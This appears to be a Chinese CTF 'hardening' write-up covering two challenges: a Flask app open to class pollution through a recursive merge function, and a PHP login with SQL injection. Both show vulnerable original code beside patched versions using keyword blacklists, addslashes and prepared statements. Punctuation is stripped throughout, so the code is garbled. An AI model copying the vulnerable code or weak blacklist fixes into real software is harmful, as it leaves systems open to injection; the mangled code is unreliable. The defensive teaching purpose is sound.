(str) {return encode(str);}};}(jQuery));/script
更改用户名input typetext namenewusername idnewusername value
button typesubmit onclicksubmitData() 更改/button
[CISCN 2024 华东南] Polluted (Fix)
攻击时候没打出来
原来代码
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import redef generate_random_md5():random_string os.urandom(16)md5_hash hashlib.md5(random_string)return md5_hash.hexdigest()
def filter(user_input):blacklisted_patterns [init, global, env, app, _, string]for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):return Truereturn False
def merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)app Flask(__name__)
app.secret_key generate_random_md5()class evil():def __init__(self):passapp.route(/,methods[POST])
def index():username request.form.get(username)password request.form.get(password)session[username] usernamesession[password] passwordEvil evil()if request.data:if filter(str(request.data)):return NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~else:merge(json.loads(request.data), Evil)return MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENEDreturn render_template(index.html)app.route(/admin,methods[POST, GET])
def templates():username session.get(username, None)password session.get(password, None)if username and password:if username adminer and password app.secret_key:return render_template(important.html, flagopen(/flag, rt).read())else:return Unauthorizedelse:return fHello, This is the POLLUTED page.if __name__ __main__:app.run(host0.0.0.0,debugTrue, port80)
修复代码
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import redef generate_random_md5():random_string os.urandom(16)md5_hash hashlib.md5(random_string)return md5_hash.hexdigest()
def filter(user_input):#修复点1 加wafblacklisted_patterns [init, global, env, app, secret, key, admin,string, proto, constructor, insert, update, truncate, drop, create,doc,str, _]for pattern in blacklisted_patterns:if re.search(pattern, user_input, re.IGNORECASE):return Truereturn Falsedef merge(src, dst):# Recursive merge functionfor k, v in src.items():if hasattr(dst, __getitem__):if dst.get(k) and type(v) dict:merge(v, dst.get(k))else:dst[k] velif hasattr(dst, k) and type(v) dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)app Flask(__name__)
app.secret_key generate_random_md5()class evil():def __init__(self):passapp.route(/,methods[POST])
def index():username request.form.get(username)password request.form.get(password)#修复点二乱加的if usernameadminer:exit(0)if usernameadmin:exit(0)session[username] usernamesession[password] passwordEvil evil()if request.data:if filter(str(request.data)):return NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~else:#其实直接ban了这个就行merge(json.loads(request.data), Evil)return MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENEDreturn render_template(index.html)app.route(/admin,methods[POST, GET])
def templates():username session.get(username, None)password session.get(password, None)if username and password:#修复点三black一下if username adminerrrr and password app.secret_key:return render_template(important.html, flagopen(/flag, rt).read())else:return Unauthorizedelse:return fHello, This is the POLLUTED page.if __name__ __main__:app.run(host0.0.0.0,debugTrue, port80)
[BUUCTF 加固题] Ezsql
首先连接上ssh。输入账号密码。 到/var/www/html目录下源码在里面。 主要是看index.php文件。
?php
error_reporting(0);
include dbConnect.php;
$username $_GET[username];
$password $_GET[password];
if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;$result $mysqli-query($sql);if (!$result)die(mysqli_error($mysqli));$data $result-fetch_all(); // 从结果集中获取所有数据if (!empty($data)) {echo 登录成功;} else {echo 用户名或密码错误;}
}
?SELECT * FROM users WHERE username $username AND password $password很明显的sql注入。修复方式有两种。
方法一用addslashes() 函数过滤 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是 单引号双引号反斜杠\NULL 该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。 代码中修改部分
$username $_GET[username];
$password $_GET[password];$username addslashes($username);
$password addslashes($password);if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;方法二上WAF
WAF源码
$blacklist[-,,#,\,\,select,sleep, ];代码中修改部分
$username $_GET[username];
$password $_GET[password];$blacklist[-,,#,\,\,select,sleep, ];
$username str_replace($blacklist,,$username);
$password str_replace($blacklist,,$password);if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;这里貌似还有功能检测不能直接preg_match正则匹配不执行if。所以采用了黑名单字符替换。
方法三预处理
预处理算是sql里面的通防了。
原来源码
?php
error_reporting(0);
include dbConnect.php;
$username $_GET[username];
$password $_GET[password];
if (isset($_GET[username]) isset($_GET[password])) {$sql SELECT * FROM users WHERE username $username AND password $password;$result $mysqli-query($sql);if (!$result)die(mysqli_error($mysqli));$data $result-fetch_all(); // 从结果集中获取所有数据if (!empty($data)) {echo 登录成功;} else {echo 用户名或密码错误;}
}
?mysql 预处理来自amiaaaz师傅的博客 PDO 预处理来自amiaaaz师傅的博客 修复完成后访问check地址的/check路由。 稍微等一会后访问check地址的/flag路由。返回flag就是修复成功。